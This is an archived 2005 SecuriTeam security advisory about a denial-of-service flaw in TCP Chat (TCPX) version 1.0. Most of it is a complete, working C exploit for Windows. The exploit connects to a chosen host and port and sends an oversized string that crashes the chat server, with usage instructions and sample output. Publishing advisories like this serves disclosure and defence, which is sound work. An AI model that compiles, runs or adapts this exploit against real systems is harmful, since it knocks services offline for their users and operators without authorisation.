

[EXPL] TCP Chat(TCPX) DoS (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-07/0011.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 07/06/05

To: list@securiteam.com

Date: 6 Jul 2005 14:18:51 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

TCP Chat(TCPX) DoS (Exploit)

SUMMARY

The "TCP Chat(TCPX) application's main purpose is to provide a fast way to do a point-to-point chat conversation. Its uses the TCP Internet protocol. One of the party must start the chat by selecting the Server mode, while the other part must select the Client mode".

A denial of service condition occurs when a very long text string is sent to the server side of the TCP Chat program.

DETAILS

Vulnerable Systems:

* TCP Chat version 1.0

Error messages:

'Run-time error '40006';

Wrong protocol or connection state for the requested transaction or request

'Run-time error '429';

ActiveX component can't create object

Securiteam: [EXPL] TCP Chat(TCPX) DoS (Exploit)

Exploit:

/*

TCP Chat(TCPX) DoS Exploit

Resolve host... [OK]
[+] Connecting... [OK]
Target locked
Sending bad procedure... [OK]
[+] Server DoS'ed

Tested on Windows2000 SP4
Info: infamous.2hell.com / basher13@linuxmail.org

*/

```
#include <string.h>
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char doscore[] =
"*** TCP Chat 1.0 DOS Exploit \n"
"***-----\n"
"*** Infam0us Gr0up – Securiti Research Team \n\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n"
"***DOS ATTACK! DOS ATTACK! DOS ATTACK! DOS ATTACK!\n";

int main(int argc, char *argv[])
{
WSADATA wsaData;
WORD wVersionRequested;
```

Securiteam: [EXPL] TCP Chat(TCPX) DoS (Exploit)

```
struct hostent *pTarget;
struct sockaddr_in sock;
char *target;
int port,bufsize;
SOCKET inetdos;

if (argc < 2)
{
printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);
printf(" -----\n", argv[0]);
printf(" InfamOus GrOup – Securiti Research\n\n", argv[0]);
printf("[–]Usage: %s [target] [port]\n", argv[0]);
printf("[?]Exam: %s localhost 1234\n", argv[0]);
exit(1);
}

wVersionRequested = MAKEWORD(1, 1);
if (WSAStartup(wVersionRequested, &wsaData) < 0) return –1;

target = argv[1];
port = 1234;

if (argc >= 3) port = atoi(argv[2]);
bufsize = 1024;
if (argc >= 4) bufsize = atoi(argv[3]);

inetdos = socket(AF_INET, SOCK_STREAM, 0);
if(inetdos==INVALID_SOCKET)
{
printf("Socket ERROR \n");
exit(1);
}
printf(" TCP Chat(TCPX) DoS Exploit \n", argv[0]);
printf(" -----\r\n\n", argv[0]);
printf("Resolve host... ");
if ((pTarget = gethostbyname(target)) == NULL)
{
printf("FAILED \n", argv[0]);
exit(1);
}
printf("[OK]\n ");
memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons((USHORT)port);

printf("[+] Connecting... ");
if ( (connect(inetdos, (struct sockaddr *)&sock, sizeof (sock) )))
{
printf("FAILED\n");
exit(1);
}
```

Securiteam: [EXPL] TCP Chat(TCPX) DoS (Exploit)

```
printf("[OK]\n");
printf("Target locked\n");
printf("Sending bad procedure... ");
if (send(inetdos, doscore, sizeof(doscore)-1, 0) == -1)
{
printf("ERROR\n");
closesocket(inetdos);
exit(1);
}
printf("[OK]\n ");
printf("[+] Server DoS'ed\n");
closesocket(inetdos);
WSACleanup();
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:basher13@linuxmail.org>>
basher13.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.